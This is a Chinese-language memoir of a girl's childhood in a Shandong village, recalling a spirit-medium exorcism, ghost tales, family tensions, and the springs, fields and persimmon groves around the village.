“人家说,有一个小孩儿,他从小偷人东西,他娘不管他,只当他是小孩儿。等到他大了,还是偷人东西,他娘还是不管。这回,他偷大了,要被枪毙了。他娘去看他。他跟他娘说,‘娘啊,我快要死了,我能吃你一口奶吧?’他娘说,‘行!’他娘解开怀,把□□儿递过去,给他吃。他上去一口就把他娘的□□儿给咬掉了。他娘哭着问他,‘你怎么咬娘的□□儿的?’他跟他娘说,‘都是你!从小不好好教育我。现在我要被枪毙了,都是你害的!’” 一天,我从外头玩够了回到爷爷家里。刚迈进大门槛儿,就看到我爷爷在天井里忙着什么。他看到我来,就转过脸来跟我说:“恁奶奶得病了。” “俺奶奶怎么得病的?”我问我爷爷。 “我跟恁奶奶一块儿,到西岭上推山芋秧子。我一眼没注意,恁奶奶就倒到地上,口吐白沫。我赶紧把她扶起来推回家。那块山芋地,地头儿上埋的是冬花的娘。恁奶奶这是被冬花的娘给缠上了。”我爷爷说。 “冬花的娘?她缠了俺奶奶了?”我问爷爷。 我爷爷说:“我不信那个邪。我把恁奶奶抱起来,就冲着她的坟子骂了两句。‘恁大婶子又没得罪你,你缠她干什么的?你赶紧放了她,你要是再缠她,我找人来治你!’” 在农村,谁家的妇女被鬼“附体”了,她家的人就会请来有经验的人拿着银针去“针”,拿着桃条儿去抽。“针”地活人哇哇叫,“抽”地活人喊饶命,然后不久那附体的鬼也就逃跑了。如果“针”不走,抽不去,那就要请神婆子来专项治理。 我奶奶就到荆堂东边的郑村,请了神婆子来给她驱鬼。神婆子来了,让奶奶买了鸡鱼肉,蛋,办了一桌子好菜,趁着夜半三更,叫了东院二奶奶家的清明三叔,来一起参与这场活动。 奶奶堂屋里烧着纸钱,院子里摆着好菜好饭。神婆子念着咒语,剪了很多红红绿绿的纸片。我一点都不害怕,兴致勃勃地想多参与几个环节。可惜奶奶嫌弃我年纪小,又是女孩,接下来的几个环节,我都没有资格参与。 神婆子用白面捏了一盏灯,棉花蘸了油做灯芯,点着了。居然也亮亮的。那样的灯我见过。正月十五元宵节,我们没有吃过元宵,倒是做过灯。我奶奶跟大伟家都做灯,那灯是用大萝卜做的。我爷爷种的穿心红萝卜。我奶奶把大萝卜切成柿饼似的一段儿,里头挖个洞,放上蘸了油的棉线,就是一盏灯了。奶奶把做好的灯搁在猪圈上,磨台上,一夜间,随它自灭自亮。 神婆子举着那盏灯,煞有介事地问清明三叔说:“我的灯亮吧?” 她又悄悄地跟我三叔说:“你得说,不亮。” 清明三叔作为一个被我奶奶请来的演员,演技显然还不能过关,他作为一个演员的自我修养显然还不够,他还没有做到真听真看真感受,他完全不能入戏。他笑笑地说不出话来。 我在一旁看地着急,可是我是女孩子,又是小孩子,神婆子又不会问我,我奶奶不会叫神婆子问我。 神婆子又问了三叔一句:“我的灯亮吧?” 清明三叔这才笑笑地说:“不亮!” 神婆子拿着灯从他身旁走过去,自己说:“我的灯可亮了!” 灯亮与不亮,跟驱鬼有个甚的关系,我搞不懂其中的秘密。现在想来,大概是借着那灯光的指引,好让鬼回到她该去的地方。不是有“鬼引路”吗?人在夜间走路遇见了鬼,鬼会指引人走一条明晃晃的路,人不知道自己招了鬼,当时也被鬼迷惑地昏了头,就顺着那条明光大道走下去,一直走到被鬼指引的水里去。神婆子现在捏了灯,应该是给那鬼来引路了,她是要把那鬼给引到阴间去,不要在世上害人。灯原来是连接阴阳两界的物件儿。这正如中元节的河灯,能把鬼渡到阳间来投生。人死如灯灭,那时候,人是像灯灭一样,从阳间去往了阴间。 夜半三更,奶奶让清明三叔跟她一起去“打发”。等这场活动圆满结束,神婆子要回家了,奶奶就把天井里的桌子上摆供的好鱼好肉,都打包给神婆子带走。 “这个我都带走了哈!”神婆子对着那摊子鱼肉,故作高深地说。好像那些鱼肉只有被她吃了,我奶奶的病才能彻底好了似的。 “都带走吧!本来就是给你吃的!”我奶奶也心领神会地说。好像那些鱼肉只有被那神婆子给鱼肉了,她的病才能立时好起来似的。 晚上,清明三叔,温如意大爷,好几个亲邻聚在奶奶家,谈论着奶奶的病。他们边吸烟,边讲他们的经历见闻。奶奶东屋里间靠墙的地方,是一口灰色的大瓦缸。 奶奶说:“俺老公公刚走的时候,有一天夜里,我听到俺家的那口缸“叮叮当当”地,我知道是俺老公公灵生大。他活着的时候不就有一根烟袋杆子吗,那个缸“叮叮当当”地,肯定是他拿烟袋杆子敲的。” “我说,‘爹,恁不要生气,我是恁的女儿,有什么不到的地方,恁老人家多担待。’那缸就不响了。”我奶奶抱着我跟人家说。 温如意大爷说:“俺娘经常看到俺家天井里有个大闺女。我去找明白人儿看了看,明白人说,俺家天井里埋着一个大闺女。俺娘找人刨开地土儿一看,俺家天井里真有一口棺材,棺材里睡着一个大闺女。俺娘也没让人动她,找来几捏子黄纸,烧了烧,叨咕了几句,又把她给埋上了。” 众人问他:“那恁住在里头,不害怕啊?” 温如意大爷笑着说:“不害怕,恁么多年了,也没事儿。” “俺大叔锻磨去了?”有人问我奶奶。 “昂,恁大叔出去锻磨去了。”我奶奶不屑地回答道。 “俺大叔是个细石匠。出了名儿的‘宋老师儿’。大叔给人锻磨,人家管吃管喝管住,临走还得给几块钱。”人家说。 “大叔出去锻磨还背着个小箱子儿。里头装着他的一套家伙什儿:锤,錾,什么都有,大叔是真会收拾东西。”温如意大爷说。 “他还!挣点儿都弄他自己肚子里了。吃独食。大人小孩他都不管。只顾他自己。”我奶奶说。 “俺家的磨,那磨底上的纹路都磨秃噜了,不能磨细粮食了,回我也得请俺大叔去给俺锻锻”。温如意大爷说。 爷爷跟我三叔的关系很紧张。我看见三叔也很紧张。三叔生着一张有些薄情寡恩的长脸儿,脸上很素净,有时泛着点儿红。他经常“瞌醒”着脸,没个笑样儿。三叔穿地很干净。他常常穿着白色的衬衣、蓝色的牛仔裤。奶奶给他洗完衣裳的时候,仰着脸儿,把他的牛仔裤往晾衣绳儿上一晾,再揪住他的裤腿子往下拧拧水,嘴里说:“这是伦的衣裳。不能拧,只可控控水搭上。” 冬天,我跟爷爷在东间的铺上睡着,奶奶还在外头忙。三叔在堂屋的火盆里点起了松枝。那些松枝是他在山上带来的,鲜鲜绿绿的松树枝盖在火盆里,搞得屋里烟熏火燎,乌烟瘴气。可是我跟爷爷都不敢说什么。 我跟爷爷一起躲在被窝里。爷爷说:“小省儿,你知道恁奶奶叫什么吧?恁奶奶叫张远荣!” 我对我奶奶叫什么可不感兴趣。我巴不得这个家里只有爷爷,没有三叔跟奶奶。 “恁奶奶出门子的时候,头上蒙着蒙头红子哭。嗯嗯嗯嗯!”我爷爷学着我奶奶的样子。 那时候我三叔还在外头,我的心里还是害怕和不安的。我以为我爷爷跟我一样也是害怕的。 快过年的时候,三叔跟他的一帮子仁兄弟要去跟郑村的人打架了。他匆匆忙忙地跑回家,拿上他自己用铁丝拧成的七节铁鞭子,蹲在地上,使劲系了系白色球鞋的鞋带子,好像他真的会一番功夫一样。我奶奶站在一旁注视着他整理戎装,好像是在看着一个即将出征的将军一样。三叔系上鞋带就窜出去了。 三叔爱东跑西窜。大年初一,他跟几个小青年跑到远远的东山去,回来的时候,还摘了一把淡粉色的小花儿,零零星星的娇嫩的小花朵,带着大山的气息,可爱极了。 后来三叔去了浙江二姨奶奶家。听说二姨老爷是退休工人。家境不错。三叔回来的时候,用自行车驮回来两大袋子衣裳。 奶奶把这些衣裳抖落在堂屋里,让我去把二姑和二姑家的两个表姐喊来挑衣裳。这些衣裳又干净又时髦,我从来没有见过。可惜我奶奶不喜欢我爸爸妈妈,我的胆子和权限也就相应地变小了。我只能挑一件适合我穿的、我表姐她们大了也穿不上的衣裳。 有一件灰白色毛线夹杂在一起织就的线褂子,灰灰白白,疙疙瘩瘩的,奶奶很大方地拿起来给了我:“来,这件给大省穿!” 二姑她们怀里抱着,手里挑着,嘴里还嫌弃着。 “娘啊!这件衣裳怎么这样的?俺可不要!”我二姑一脸嫌弃地说、 我想,这些衣裳多好啊。恁娘给你,你怎么还嫌弃呢。我奶奶不给我,她要是给我的话,我全拿走给我爸爸妈妈穿。 我不甘心没有我家的。我看到一件白色的的确良的衬衣,就壮着胆子一把拿起来:“这个给俺爸爸穿!”是的,我奶奶不喜欢我妈妈,我实在不敢挑我妈妈的。 “噢!那件你拿去给恁爸爸穿吧!”我奶奶说。 三叔这趟回来,让奶奶给我两个金黄色的小戒指,用透明的塑料小盒子装着。 “呐,这是恁三叔给你的。”我奶奶说。她脸上的表情,一脸淡漠。大概是惋惜我三叔没有把那么好看的小玩意儿全都给了她的外孙女吧。那小盒子有火柴盒那么大,上头是透明的罩子,下头是大半个火柴盒似的托子。那戒指也真是小巧精致,看着像是真的黄金的似的。那当然不是黄金的,但是这已经够好的了。就是搁在现在,在街上逛游的时候看到了,我还是会买的呢。毕竟我是个小女孩儿,那时候,我是连做梦都梦到我有一串好看的手镯子啊。 三叔还给我几个琥珀似的小石头。那小石头黄黄的,亮亮的,端在手里,光滑圆润,真让人心疼极了。 我那时候就想,三叔怎么舍得把这么好玩的东西给我呢?他怎么不全把它们给了大妞、二妞两个表姐呢?大概是因为我三叔心里还有点兄弟情义,还拿我当他大哥的孩子吧。三叔给我的东西,却不给两个表姐,我觉得这不大可能。可是,我真的没有见两个妞姐拿出来玩过。或许,她们比我聪明,或许,她们听了她们的娘的话,把那些好玩的都藏好了吧。那两只小戒指和几个黄黄白白的小石头,我把玩珍惜了很久。可是后来也是不知所终了。 直到现在,我也是很想念那么小巧精致的金色的戒指和好玩的小石头。同时,我又有些想念三叔。在南乡的日子里,我才知道,出嫁的侄女回娘家送节礼的时候,要给娘家叔伯也送些礼物的。那时候,我以为这些都是繁文缛节。我不知道为什么还要给叔伯送礼,因为那不是我的叔伯。时至今日,等我想到了自己的三叔,想到了过往的是是非非,仿佛那些曾经的厮杀打骂都只是逝去的江上的浪花。而三叔始终是三叔啊。正如爸妈始终是爸妈。于是此刻,我突然明白了出嫁的侄女回娘家的时候要给叔伯带些礼物的情意。区区薄礼,聊表敬意。如果是我,我也愿意。 三叔不在家,我跟爷爷奶奶大多数还是和乐的。那时候,家家户户最好的美食就是面条子、饺子。我最开心的事也是跟着爷爷奶奶包饺子,那时候的饺子大部分是素馅儿的。红萝卜馅儿,南瓜馅儿,韭菜馅儿。爷爷奶奶包饺子的时候,我也围着桌子转。奶奶和面、揉面,切剂子、擀皮子,剁馅子,大小擀面杖齐上阵。奶奶教我包饺子,可是我包的都不像样儿,不是露馅儿,就是漏水,最后修修补补,糊弄而成。 爷爷奶奶特别有耐心,他们教我包“针线筐子”。在一个饺子皮上铺好馅子,再用另一个饺子皮把它盖上,上下对起来,沿着一溜圈儿捏边儿,等一圈的花边儿捏好了,一个跟观世音莲花宝座儿似的“针线筐子”就包好了。不过,此物又大又皮厚,所以并不好吃。爷爷还教我用饺子皮包“糖三角”,我们山东不叫“糖三角”,我们叫“羊夹子”。这些都是我跟爷爷奶奶一起才可以干的事。所以,我很喜欢到爷爷家,喜欢爷爷的饭桌,喜欢吃爷爷奶奶家的饭,喜欢从爷爷家顺势出去到家东玩,到西岭上玩儿。 有一回,我奶奶跟我三叔一起去了杭州我二姨奶奶家。他们在杭州过了好长一段时间才回来。我奶奶回来了,她带回来几个可以看日期的挂历挂在堂屋西墙上,挂历上头是一栋栋漂亮的小洋楼。 我问奶奶:“杭州是什么样的啊?跟这画上的一样吗?” 我奶奶说:“跟画上的一样。” 吃饭的时候,我爷爷笑嘻嘻地跟我奶奶说:“还是回来好,哪儿也不如荆堂好吧。我搁外头锻磨,走遍全国十一个省,最后觉得还是荆堂好。哪儿都不如荆堂!” “你能,谁都不如你!你走遍全国十一个省!”我奶奶讽刺我爷爷说。 “我搁外头闯荡,我不像恁,我从来都不让自己的肚子亏着。遇上卖驴肉的了,我就买上一大盆驴肉来拉拉馋!”我爷爷得意洋洋地说。 “你能,你只顾着自己拉馋了,你不管俺娘几个怎么过的!”我奶奶说,“哼!我本来想让俺二姐给我再找个老头儿的,俺二姐非让我回来!” 我爷爷说:“就是恁二姐支持你,恁二姐夫也不支持你。恁二姐身体还好吧?” 我奶奶说:“俺二姐身体好哦,她天天跟俺二姐夫一块儿跑步,嘴里还喊着号子。” 我奶奶说着,抬起两个胳膊,学着人家跑步的样子在堂屋里跑起来。 “一二一!一二一!”我奶奶在堂屋里边跑边喊着。她穿着灰色的棉衣。 我爷爷说:“幸亏恁二姐身体好,你巴不得恁二姐死了,你好留在那里哦。” 我奶奶说:“我就是这样想的。我跟了俺二姐夫,让俺二姐夫再给伦说个媳妇。” 我爷爷说:“恁二姐夫是退休的,他能看得上你啊?恁二姐夫还不是让你回来了?” 我奶奶说:“我下回再去就不回来了。我非得再找个老头儿不行!” 我爷爷说:“哼!你也就是说大话的!” 我奶奶说:“哼!你说我是说大话啊?我买个顶门杠,我夯死你!” 我奶奶说着,就去我三叔屋里间,拿了一支油棍棍出来。她一边举着手里的油棍棍,一边用膝盖顶着我爷爷的后腚说:“这就是我的顶门杠!” 我爷爷笑着跟我说:“恁奶奶出门子到荆堂的时候,蒙着蒙头红子,嗯嗯地哭。” 我奶奶这趟回来又带了不少好吃的。晚上,她在大桌子上切着她从二姨奶奶那里带来的年糕。那些年糕像一根根地蜡烛似的排在一起,我奶奶拿着菜刀按在桌子上使劲儿切着。 清明三叔来了。“这是什么哎,大娘?”他问。 “年糕!我搁俺二姐那儿拿的。回你走带一块儿,给恁娘尝尝!”我奶奶笑着说。 “娘来!怎么跟胰子似的!”清明三叔说。 “不是胰子!是大米做的年糕!”我奶奶说。 “这得怎么吃哎?”清明三叔说。 “炒着吃!”我奶奶说。 2.家东 爷爷家东边,是距离爷爷家不足二十米的竹来大爷的代销店。那是我有一毛钱就想着去的地方。代销店不大,可是那高高的柜台里头,高高的货架上,有足够让我向往的糖疙瘩、瓜子、汽水、油炸花生。柜台旁边是两口大缸,里头盛了满满的醋和酱油。我帮爷爷打酱油的时候,站在柜台前,抬头看货架上的汽水,还有我爱吃的花生米。竹来不怎么讲话,始终嘟囔着一张白胖的脸。 从竹来的小店门口往东走,有两条小路。上头的那条路通往张庄,底下的那条路是通往河沿。这条小路越往东,地势越低,经历了日久年深的雨水冲刷,黄土地的路面上有很多沟壑,不是很平坦,一脚一块石薄连。 小路经过“止水将”那里,那里有爷爷的小菜园,小菜园里菜花盈盈、蜜蜂嗡嗡。萝卜老了,开出淡白色泛着粉边儿的四瓣小花,高贵而清雅。谁说赏花非要赏富贵花,我最爱这些小菜花,看到她,我心里就温暖、踏实了。 小菜园里有菜花的身影,也有爷爷的身影。“止水将”这儿是爷爷的专属地盘。爷爷终日在这里侍弄着他的菜,挑水浇园,剜地、施肥,一年到头忙不完。来到“止水将”,就像来到家一样。“止水将”这儿地势很低,南北两边高高的田埂子像山坡一样,将“止水将”这儿夹成了一个“峡谷”,而这两面高高的田埂子成了我们一群小孩子的“山头”。小伙伴们在上面匍匐前进、冲锋陷阵,还可以在这里“过家家”。 家东,那些坡上的黄色的草,很多都是茅根草。茅根草的叶子跟狗尾巴草差不多,只是比狗尾巴草更长,更锋利,所以,即使经冬复历春,它也昂扬着它长锯子一样的叶子,毫不蔫巴。茅根草露出地面的根茎因为经过了风吹日晒,是亮红色的,也有黄玉色的。这些露在外头的根茎太硬,好看,但是不好吃。好吃的茅根草埋在地底下,那是白色的。 选上一棵茅根草,顺着它的根茎往土里扒,不一会儿就露出了乳白色的根茎了。那根茎里头的汁水是甜的,让你想到糖水和老冰棍儿,一股口水就从舌头底下流出来。茅根草的根茎像藕一样,一节节的,但是比藕细的多。它像一根铁条那么粗,最粗的也只有鸡肠子那么粗。一开始扒出来的一节节的根茎是白的,不过还很瘦。想吃更甜的茅根草,还要往下扒。再往下,扒出来的茅根草更白胖了,更甜了,像是一个白色的虫子。 你用扒茅根草的手扑打一下茅根草上的泥土,把它一节一节地放进嘴里。茅根草的根茎很柴,嚼不烂,吃茅根草,吃的是它的汁水,你得咂。你的嘴像是榨汁机一样,把它的汁水榨干,再把嚼烂的残渣吐出来。再奢侈一点,你把整根茅根草都塞进嘴里,来一场甜味大集结的盛宴。那是贫苦无味的日子里,那块黄土地给我们这些穷苦人家的犒赏。那时候,甜味儿的东西是人们比较向往和珍惜的。去人家走亲戚的时候,带上二斤白糖,基本上就可以凑乎了。再客气一点,买上二斤细果子:一斤白色的蘸着白糖的“羊蹄甲子”,一斤黄色的沾着芝麻的“蜜三刀”——我们叫“三刀果子”,那就很让人满意了。 “止水将”往东,不到五十步的地方,是一口大井。那井跟南方人家里吃水的井不同。那是一口方方的大井。井口儿有一米见方。光滑的青石头磊成井沿,井沿并无遮挡,蓝绿色的井水不知道有多深。一到下大雨的时候,这口井就跟它东边的苇子汪连在了一起。庄里的大人小孩在井口边走来走去,井里,有人家扔的白菜帮子和死鸡。所以,那井水也并不是很清澈,像是撒了淡淡的肥皂汁子一般。 这口井往东是杨树林,夏天,没有电风扇的年月里,庄里的大老爷们儿在家里热得受不了,就跑到杨树林里,光着屁股,杨树行子里的风“呼啦啦”地吹起,这里比家里要惬意。 从大井向南是一口“冒花泉”。那是我此生见过的最干净的泉水了。泉水冰凉清澈,从天然的青石缝里汩汩流淌出来,再沿着青石水道潺潺向北,无声无息地流向大井那儿。那泉水是可以直接入嘴的。这就是北乡的泉水,这就是山东的泉水,这就是我大荆堂的泉水,这就是我的“冒花泉”! 泉水源源不断,少有人来,很幽静,很干净。夏天,我经常挎个竹提篮来“冒花泉”里洗衣服。泉眼在石头缝里,泉水在天然的青石缝里流出来,因为有青石的映衬,这儿的泉水比人家压水井里的水好看,像是蓝色,又像是绿色,冷得刺骨,也冷得安静,像是一个水做的冰美人。 沿着“冒花泉”前头的石薄连一路向南,就来到了河沿儿。这是一片清澈的湖水,被人工隔成了两片。左边生着青青的芦苇,叫“苇子汪”。“苇子汪”很静,长着葱茏的薄荷、转荆草。它们没有人打扰,长得很茂盛。百百千千棵,紧挨着。右边生着田田的荷叶,那是荆堂的藕汪。 藕汪边上是一块天然的巨大的石薄连,老爷们儿、小孩子在这里撒鱼、扎猛子,大姑娘、小媳妇都来这儿洗衣裳。水就漫到脚底下的石薄连上,人光着脚丫子站在水里。提起一件衣裳,像撒网一样挥洒到水里浸泡一下,再收回来,撒上洗衣粉,就放在脚下的石头上揉搓了。 厚重一点,难以手搓的衣裳,就拿起棒槌,把衣裳按在石薄连上砸。这天然的捣衣砧,不怕砸,也砸不坏。那衣裳都是旧的衣裳,尤其是铺床的棉带,男人的秋衣,那上面有陈年的老垢,也不怕砸。砸吧!几个妇女一起洗衣裳的时候,你就听吧,“扑通扑通”的棒槌声,一个比一个砸地狠。 有经验的妇女洗衣裳,先把衣裳上洒上洗衣粉或是涂上专门洗衣裳的猪油胰子,低下头,用棒槌“啪啪啪”砸几下,紧跟着,把那衣裳放在石头上或是自家的洗衣板上“夸夸夸”搓几下。看看还不够干净,那就继续再来几个“啪啪啪”、“夸夸夸”。看看衣裳上脏的地方都洗干净了,再抓起衣领,把衣裳撒网似的撒到水里漂洗,衣裳上的洗衣粉或是老式的洗衣皂的香味,混合着衣裳上顺流而下的黑水子就在水面上晕染、飘散开来。这时候,我特别羡慕人家手里的衣裳流出的黑水子,好像谁手里的衣裳流出的黑水子越多,那洗衣裳的女人就特别能干特别会洗衣裳似的。 记得妈妈讲过一个故事。说是妯娌两个。老二的媳妇比较贤惠,神仙赐给她一个棒槌,每次洗衣裳,老二用那棒槌砸衣裳,“扑扑塔”、“扑扑塔”,一棰一个大莲花。老大媳妇蛮横霸道,非要抢来据为己有,她也用这个棒槌洗衣,她捣起衣服来,“扑扑通”“扑扑通”,一棰一个大窟窿。 我很爱到河沿来玩。我曾跟着二姑家的二妞表姐到这儿,爬上一棵歪脖子柳树,那柳树的脖子歪地像仙鹤的脖子。我们这些爱爬树的人就喜欢这些奇形怪状的树,这样的树好看也好爬。我们一会儿爬到柳树上,掐柳条儿做柳哨儿,一会儿坐在麦地里,编柳帽儿,一玩就是一个上午。 我也曾跟着二妞姐去苇子汪里逛游。这片苇子汪是二姐家包的,那时候,我跟二姐正一前一后地走着。二姐说,苇子汪很深,一根两米长的竹竿都扎不到底儿。正说着,我一个不留神,脚下打滑,头朝下倒栽进水里。亏得有二姐死死抓住我。我后背浸泡在水里,吓地死死抓住二姐的手。二姐也吓地直哆嗦,紧紧拉住我的手。 我们都吓得没人腔儿的喊。我朝岸上喊:“二姐——”,二姐朝水里喊:“妹妹——”。好在我被二姐拽了上来,但是衣裳浸湿了。二姐脱了她的紫色的带碎花的夹袄给我穿上。回家以后,我不敢跟奶奶说实话,怕她怪罪。奶奶也不深究。她给我换上我自己的衣裳,把二姐的夹袄子洗洗晒干,再还给二姐。 河沿以西,从高高的田埂爬上去是“垄沟”,这“垄沟”是以前公家修的水渠,很简易的水渠,一截一截的空心石灰管道接起来,说是可以通水,但我从来没有见过有水。这儿的田地土质很好,又靠近河沿儿,土质湿茵茵,松软软,麦子也是绿茵茵的。我常常跟小伙伴一起挎着篮子来这儿挖鸡草。鸡吃什么呢,节节草,羊蹄甲子草,猪耳朵草。我用小铲子挖,用手薅,很快就会挖上满满一篮子。任务完成了,但我并不急着回家。我可以和小伙伴安详地在这儿呆上半天。也不必玩什么游戏,就是贪恋这土地的安稳和麦苗的香味儿,就这样呆呆地待上一会儿,沉浸在一个小女孩的不可言说的情思里,仿佛可以永远不要回家,仿佛永远不想回家。这片土地就这样入了心。多年以后,我仿佛还可以感受到那片土地的安适和麦子的香气,仿佛可以枕着麦苗悠悠地睡上一觉。 再往南,夏天的玉米地我是不敢去的。奶奶说,这儿以前有“茂猴子”,就是狼。我小时候最怕奶奶嘴里的“茂猴子”了。庄南面的“南大地”是荆堂少有的一片良田,“南大地”最壮观的时候是夏天长满了高高的谷子、高粱、玉米。夏天的玉蜀黍很漂亮,高高的玉蜀黍舞动着绿色的绸缎。玉蜀黍跟玉蜀黍之间有明显的空隙,仿佛可以蹲在下面避雨。 我妈妈说:“玉蜀黍棵里可不能去哈。里头有割人皮的。有姊妹俩,去玉蜀黍稞里摘辣椒子,姐姐走在前头,被藏在玉蜀黍稞里的坏人给割了人皮了。” 我问妈妈:“那妹妹呢?妹妹跑了吗?” “妹妹看到了姐姐被割了人皮了,吓得腿肚子都转了筋了,想跑都跑不动了。也被割了人皮了。” “啊?” “人被吓着的时候,想跑都跑不动了。” “割人皮的是怎么割的?” “人家有个小包,小包里装着一种药水。割人皮的在人的头皮上割个十字花儿。把那药水往人头上一倒,人皮就被扒下来了。” 因为我妈妈的话,深深的玉米地,我大白天走在旁边,都有些瘆得慌。 3.西岭 庄西边好玩的地方更多。一出庄就是我们荆堂的小“石林”。这儿沟壑纵横,怪石嶙峋。而且个个光滑顺溜,方便小孩子爬上爬下。一大片的石林啊,一个个有大象那么大,有老虎那么高。还有的像桌子,有的像床。我跟几个小孩就在这里,一玩就是半天,直到奶奶来庄西头喊我回家吃饭。 庄西头,我最常去的就是西岭啊。去西岭的路是全庄唯一的一条宽阔的黄土大路。沿途有几棵老柿树,上面有大大的鸟窝,傍晚的时候,一些黑鸟就飞来歇宿了。柿树皮是黑灰色的,一小块一小块皲裂开,像一个个小小的乌龟壳,用手指掐一掐,摁一摁,灰黑色的松松的树皮屑就掉下来一块。那灰黑色的树皮上和皲裂的树皮缝里,又带着些白色的粉末。仿佛是哪个俏娇娘顺手洒了一些官粉在树皮上。 柿树下,是挥起镢头刨地的人家,镢头刨进土里,撞到石头块儿上,发出好听的“叮叮当当”的声音。“叮当”,“叮当”,那声音跟着挥起镢头的手臂和镢头,一起一落,回荡在我的耳朵旁,非常清亮。但这些石头对那些镢头来说可不是什么好事儿,它们常常会让那些崭新的镢头卷了刃儿。卷了刃儿的镢头可怎么刨地呢。打量打量,找块合适的大石头,把镢头放在石头上,左手把着镢头把儿,右手拿块石头,朝着镢头卷起来的刃儿砰砰砰砸几下,那卷起来的刃儿大概就可以被砸平了。 往上走,到了真正的西岭上,地头田边,多的是一棵棵容易攀爬的柿树。山区的人,从小就练就了一手爬树的好本事,这些柿树树干不高,树干早早就分了叉,我抬起膝盖就跪在了树干上。踩着树干站直了,攀着手上的一条粗粗的树枝“刷刷”爬到了树上。树下躺着摇着尾巴驱赶牛虻的老牛,树上是红彤彤的柿子。挑最红的、熟地最透的柿子摘。“帽顶子”太小、太常见,“满堂红”虽然甜可是汁水太稀,还是“牛心”柿子香甜醇厚。也不知道是谁家的地谁家的柿子,熟透的柿子随便摘。我小时候,常常是清晨无事,就挎个篮子到西岭摘一篮柿子回来。 西岭一直向西,就是水库边儿上了。那儿有一片岩石,被爷爷叫做“货郎石”。“货郎石”那儿,是一处高高的山崖,崖上是侧立的土黄色的岩石。爷爷说,从前,天降大雨,一个小货郎,挑着货郎担子路过此地,为了避雨,躲到岩石底下。谁料寒雨连天连夜,雷声滚滚,岩石崩塌,将小货郎连同他的货郎挑子一起埋了。于是,此后每逢下雨天,岩石附近就会有货郎鼓的声音。 有时候,我打“货郎石”跟前路过,抬头看着那片岩石,那岩石上起伏的纹路,真的像个站立的人形。 有时候,在阴惨惨的天气里,我打远处看着那片岩石上一丛丛的绿藤枝,不知道夜里,“货郎石”下,会不会有货郎鼓声响起。哦,货郎石,货郎石,身死他乡无人知。家中老母谁牵念?家有妻小谁看护?埋骨青山悲不尽,孤魂难散夜夜哭。小货郎也是一个流落异乡的可怜人。世上又有多少人像小货郎一样,背井离乡,又客死他乡,不能魂归故里呢。 荆堂的柿子太多了。有一年八月十五,我爸爸带着我去摘柿子。我兴致勃勃,以为爸爸会去我最爱去的西岭上摘柿子,到时候,我也能爬爬树,大显身手呢。谁知道他带我去了离我家不远的北荆堂的“梨树行”。爸爸摘柿子也不爬树,他拿着带铁钩子的杆子去摘柿子。他个子高,拿杆子一伸手,就够到了树枝,一枝红柿就被他给抓过来了,他很快就摘满了一篮子柿子。红柿红彤彤的,带着绿油油的树叶,卧在竹篮里,美丽又讨人喜爱,只是没有我想象中的乐趣。爸爸是一个不善言辞的人。他全程除了让我挎着篮子跟着,不跟我说话,也不给我讲故事。不像爷爷,在带着我玩儿或是带着我干活儿的时候,总是念念叨叨地给我讲故事。 听我妈妈说,我爸爸小时候也是来过梨树行的。那时候正逢“艰年”,家里穷的没有粮食吃。我爸爸那时候还小,每天在梨树行里看鸡。他见人家地里有秋收落下的烂山芋,就带了把刀,趁着看鸡的空,坐在地边子上削烂山芋,削好了带回家,煮给全家人吃。我爷爷回家来,看见我爸爸的山芋,不但不喜,反而责骂他不务正业,不好好看鸡,不让他吃饭。我爸爸是个老实人,也不敢辩解,哭着离开了家,来到梨树行里。他半天没吃饭,肚子饿了,边哭边拾树上落下的青涩的小梨吃。吃得积了食,痛地捂着肚子打滚儿。我爷爷对他不管不问。我奶奶喊了人背着爸爸去小诊所看了病。 爸爸摘上一篮柿子,买上二斤月饼,打上两瓶散酒,就拿去孝敬他的双亲了。 “别跟恁妈妈说哈!”我爸爸告诉我说。 “噢!”我嘴里答应着,心里想,这样机密的情报一定要跟我妈妈说。我可不能错过这立功的机会。 后来一到南乡,我就原原本本地跟我妈妈说了。我那时候还小,但我知道把我在山东看到的事一五一十地告诉我妈妈,把南乡的事尽可能守口如瓶,不配合山东的那些七大姑八大姨对我进行的“套话”。 “妈妈,八月十五,俺爸爸给俺爷爷给俺奶奶送月饼送酒了。”我跟俺妈妈说。 “真事儿啊?你看到了?”我妈妈心里一惊,问我道。 “我看到了。俺爸爸带到我,上梨树行摘的红柿。”我说。 “恁爸爸送给恁奶奶多少月饼啊?”我妈妈问我说。 “俺爸爸给俺奶奶买了两斤月饼,给俺爷爷打了两瓶酒。”我说。 “你亲眼看到的?”我妈妈问我说。 “我亲眼看到的。俺爸爸带到我一块儿,给俺奶奶送去的。”我说。 “恁爷爷说的什么?”我妈妈问。 “俺爷爷说的,到底是喜儿啊,还想着给恁爹打两瓶酒!”我说。 “恁爷爷就喜喝酒!酒鬼!嘻!”我妈妈嫌弃地说。 “恁奶奶说的什么?”我妈妈又问我说。 “俺爷爷奶奶都站在天井里。俺爷爷跟俺奶奶都喜得了不得!”我说。 “亏得你跟我说。你不说我都不知道。恁爸爸这事儿都没跟我说。他多会扒窠塱埋我啊。两口子,到底是不一心啊。人家还是向着他娘啊。”我妈妈说。 “俺爸爸让我不要跟你说。妈,我跟你说了。你不要跟俺爸爸说哈。”我说。 “你放心。我不说。妈不会出卖你的。我等到回山东以后我再问他。”我妈妈说。 “那俺爸爸还是知道是我跟你说的啊。”我焦急地说。 “我不说我是听你说的。我就说我是听人家北荆堂的老嫲嫲说的。”我妈妈说。 我妈妈向来跟我爷爷奶奶不和,她听到我爸爸跟她们来往心里肯定不高兴。但她为了保护我,并不立刻发作。直等到她回到了山东,才拐弯抹角地跟我爸爸说,她从荆堂那些老年人的嘴里知道了我爸爸孝敬他爹娘的事,直到那时,我妈妈才开始埋怨我爸爸,为什么不把他给他爹娘送节礼的事告诉她。 爸爸带我去摘柿子的地方是庄北边的梨树林,庄里人叫“梨行”。这儿的土地,落满了绿色、红色、黄色、褐色的柿树叶,一块块青色的山石温柔的伏在地上,像一只只小白羊。与其他地方不同的是,这儿有很多老梨树。记得有一年地震以后,大家预言将有更大的地震。有条件的家庭,像艳飞大姐家里,买了防震床,搭了防震棚,没条件的家庭夜里在自家天井里睡觉。 